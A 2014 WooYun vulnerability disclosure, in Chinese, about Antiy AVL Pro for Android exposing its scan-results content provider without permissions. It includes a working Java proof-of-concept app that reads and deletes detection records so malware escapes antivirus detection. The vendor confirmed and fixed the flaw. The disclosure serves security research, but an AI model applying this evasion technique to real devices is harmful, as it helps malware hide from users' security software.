[公开漏洞]Antiy(安天)漏洞可导致病毒免杀或误杀合法软件(控制杀软行为)

来源:WooYun 浏览:591次 时间:2014-07-11
做网站找雨过天晴工作室
Antiy(安天)漏洞可导致病毒免杀或误杀合法软件(控制杀软行为) 相关厂商: 安天实验室 漏洞作者:大和尚 提交时间:2014-04-12 14:47 公开时间:2014-07-11 14:47 漏洞类型:非授权访问/认证绕过 危害等级:高 自评Rank:15 漏洞状态: 厂商已经确认 漏洞来源:http://www.wooyun.org Tags标签: 客户端程序设计错误 手机应用 android安全 漏洞详情 披露状态:

2014-04-12:细节已通知厂商并且等待厂商处理中
2014-04-12:厂商已经确认,细节仅向厂商公开
2014-04-15:细节向第三方安全合作伙伴开放
2014-04-22:细节向核心白帽子及相关领域专家公开
2014-05-02:细节向普通白帽子公开
2014-05-22:细节向实习白帽子公开
2014-07-11:细节向公众公开

简要描述:

Antiy avl pro android版存在漏洞,若被病毒/木马利用可以逃过avl的扫描发现

详细说明:

avl pro在杀毒引擎查杀完手机之后,杀毒结果先保存在db中,之后通过provider读出扫描信息呈现给用户, 如有病毒则提示删除/清除等动作.

而该provider名为content://com.antiy.avlpro.MyProvider,却无权限暴露在外.

导致任意apk,无须申请任何特殊权限即可随意访问,读取/删除/插入db中的内容.

从而,若是恶意程序利用,则可以构造内容插入,以导致avl误判/删除正常合法apk;抑或实时(或短时间隔线程轮寻)db内容若见到自己package则予以删除,从而免杀.

漏洞证明:

poc:

package com.ieroot.android_providerdemo;
import android.net.Uri;
import android.os.Bundle;
import android.app.Activity;
import android.content.ContentResolver;
import android.database.Cursor;
import android.view.Menu;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;

public class MainActivity extends Activity implements OnClickListener
{

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
TextView tView = (TextView)findViewById(R.id.result);
tView.setText(getData());

// add onclick listener
Button show = (Button)findViewById(R.id.show);
show.setOnClickListener(this);
Button delete = (Button)findViewById(R.id.delete);
delete.setOnClickListener(this);
}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

public String getData()
{
String avlUri = "content://com.antiy.avlpro.MyProvider";
String resultString = "";
ContentResolver resolver = this.getContentResolver();
Cursor cursor = resolver.query(Uri.parse(avlUri), new String[]{"pkg_name","v_name"}, null, null, null);
while (cursor.moveToNext())
{
String pkg_name = cursor.getString(cursor.getColumnIndex("pkg_name"));
String v_name = cursor.getString(cursor.getColumnIndex("v_name"));
resultString += pkg_name + "\t" + v_name;
}
return resultString;
}
public void deleteData()
{
String avlUri = "content://com.antiy.avlpro.MyProvider";
ContentResolver resolver = this.getContentResolver();
resolver.delete(Uri.parse(avlUri), "pkg_name = 'com.tf.thinkdroid.sg'", null);
Toast.makeText(this, "delete is clicked", 0);
}

@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
if (arg0.getId() == R.id.show)
{
TextView tView = (TextView)findViewById(R.id.result);
tView.setText("show : " + "\n" + getData());

}
if (arg0.getId() == R.id.delete)
{
deleteData();
}
}

}





为证明清晰, 特意把各个步骤拆分,逐一截图讲解. 实际使用时,用户看不到任何这些过程. 只能承受结果: 病毒没有被发现或者合法程序被查杀.

截图:

该图中avl查杀一个risk. 务必记住名字.

图1,

avl1.jpg



该图中,POC程序通过暴露的provider读出db中的内容.

图2,

avl2.jpg



点击删除button, 删除db中的内容.

该图中,显示db中的内容已空.

图3,

avl3.jpg



回到avlpro的界面,显示0个威胁:

图4,

avl4.jpg



也就是说,POC程序在没有申请任何权限的情况下,成功修改了avl pro的判别结果.





发散思维~~

修复方案:

你懂得

版权声明:转载请注明来源 大和尚@乌云

漏洞回应 厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-04-12 15:18

厂商回复:

多谢,我们已经修复

最新状态:

暂无